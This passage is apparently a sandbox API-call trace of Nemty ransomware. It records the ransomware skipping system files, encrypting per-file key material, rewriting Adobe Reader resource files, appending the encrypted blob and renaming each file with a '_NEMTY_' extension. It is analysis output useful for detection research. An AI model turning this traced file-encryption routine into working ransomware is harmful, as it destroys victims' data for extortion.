[0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="CONFIG.SYS") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="RECYCLER") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="BOOTSECT.BAK") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="bootmgr") returned 1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="programdata") returned -1 [0217.242] lstrcmpiW (lpString1="dan94.ths", lpString2="appdata") returned 1 [0217.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan94.ths", lpUsedDefaultChar=0x0) returned 9 [0217.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan94.ths", lpUsedDefaultChar=0x0) returned 9 [0217.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan94.ths", lpUsedDefaultChar=0x0) returned 9 [0217.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dan94.ths", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dan94.ths", lpUsedDefaultChar=0x0) returned 9 [0217.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.243] Sleep (dwMilliseconds=0x5) [0217.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x351fef90, dwHighDateTime=0x1d561e8)) [0217.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x351fef90, dwHighDateTime=0x1d561e8)) [0217.243] GetLastError () returned 0x0 [0217.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.243] GetLastError () returned 0x0 [0217.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.244] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.244] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.244] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.244] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="9ru2U44VLpqAQhpa9zDMcx0t382SE4MWw0IPA23+d77Jxuq42CqCsO2IM/ZqMlTy\r\nr+mEksWOfBNwE+8YFMYad4dIMr1M3zVWqqAeAHAl6ldPhgTAqNopJsQ1YmUMCkyT\r\njO++2li+HVB+BbNFmBPe26P4A90ZAKlfyNgVC3jWwMvZP2Dl4GhztCgRrVDXmvzT\r\nTjtLsGEdaAUwFJk1PyH5gZZ2Gqq8kflYqpEoimqsfTU9+7toRXgAXmRn45gQLhNW\r\nfbgHlQ6feinnvIRJQvx96cIq2VI7ZJJxH0m7IGYp8xzeX55rUZC/EngPuSSbma3R\r\nr/S8I25E8yqift5zpgSFHw==\r\n", pcchString=0x653df5c) returned 1 [0217.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan94.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan94.ths"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.244] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=370688) returned 1 [0217.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.245] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.245] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.254] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.254] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.254] SetFilePointer (in: hFile=0x320, lDistanceToMove=370688, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a800 [0217.254] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.256] CloseHandle (hObject=0x320) returned 1 [0217.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.256] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan94.ths" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan94.ths"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dan94.ths._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dan94.ths._nemty_kgobjgd_")) returned 1 [0217.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.257] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfc43e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaf9, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="danphon.env", cAlternateFileName="")) returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2=".") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="..") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="...") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="windows") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="$RECYCLE.BIN") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="rsa") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="NTDETECT.COM") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="ntldr") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="MSDOS.SYS") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="IO.SYS") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="boot.ini") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="boot.ini") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="AUTOEXEC.BAT") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="ntuser.dat") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="desktop.ini") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="CONFIG.SYS") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="RECYCLER") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="BOOTSECT.BAK") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="bootmgr") returned 1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="programdata") returned -1 [0217.257] lstrcmpiW (lpString1="danphon.env", lpString2="appdata") returned 1 [0217.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="danphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="danphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="danphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.258] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="danphon.env", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="danphon.env", lpUsedDefaultChar=0x0) returned 11 [0217.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.258] Sleep (dwMilliseconds=0x5) [0217.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x352250f0, dwHighDateTime=0x1d561e8)) [0217.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x352250f0, dwHighDateTime=0x1d561e8)) [0217.259] GetLastError () returned 0x0 [0217.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.259] GetLastError () returned 0x0 [0217.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.259] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.259] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.259] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.260] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="q1h5SnfoV4PCkscfjXs7hBf4efB+LUWaMmCWU4swnSNBD9E3pedwkEfPDW4yH+bS\r\nP8tDHByKs5pwJJ0zpO7Q3dqkMPlb021ii1ynUnvVDW1E85YpH46p4oW8ZMzNoNHj\r\nnZWrUZIyneo5G3KpcG4hPeVMWeTHDuCoLke+eoq9fqvVavp24H+3hJIPjut0XIMO\r\nDV8Wlf8nG0EeiG/HOMbLRd2zEdkUkEtzW7Ae3iY/HA6MWIW+pPvDDNeST6+X6gDM\r\n9KyY2VRda2yeraNkzzH8nlkyTDmTTiDceeMUVjYYuxDMQWM26iYiR3PsDpaviBC5\r\nrrjfb9Ic4vg1IkZCeCjuQA==\r\n", pcchString=0x653df5c) returned 1 [0217.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\danphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.260] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=2809) returned 1 [0217.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xaf0) returned 0x634ad48 [0217.260] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.260] ReadFile (in: hFile=0x320, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e1a4*=0xaf0, lpOverlapped=0x0) returned 1 [0217.262] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.262] WriteFile (in: hFile=0x320, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e19c*=0xaf0, lpOverlapped=0x0) returned 1 [0217.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0217.262] SetFilePointer (in: hFile=0x320, lDistanceToMove=2809, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaf9 [0217.262] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.262] CloseHandle (hObject=0x320) returned 1 [0217.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.263] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\danphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\danphon.env._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\danphon.env._nemty_kgobjgd_")) returned 1 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.264] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dut.fca", cAlternateFileName="")) returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2=".") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="..") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="...") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="windows") returned -1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="$RECYCLE.BIN") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="rsa") returned -1 [0217.264] lstrcmpiW 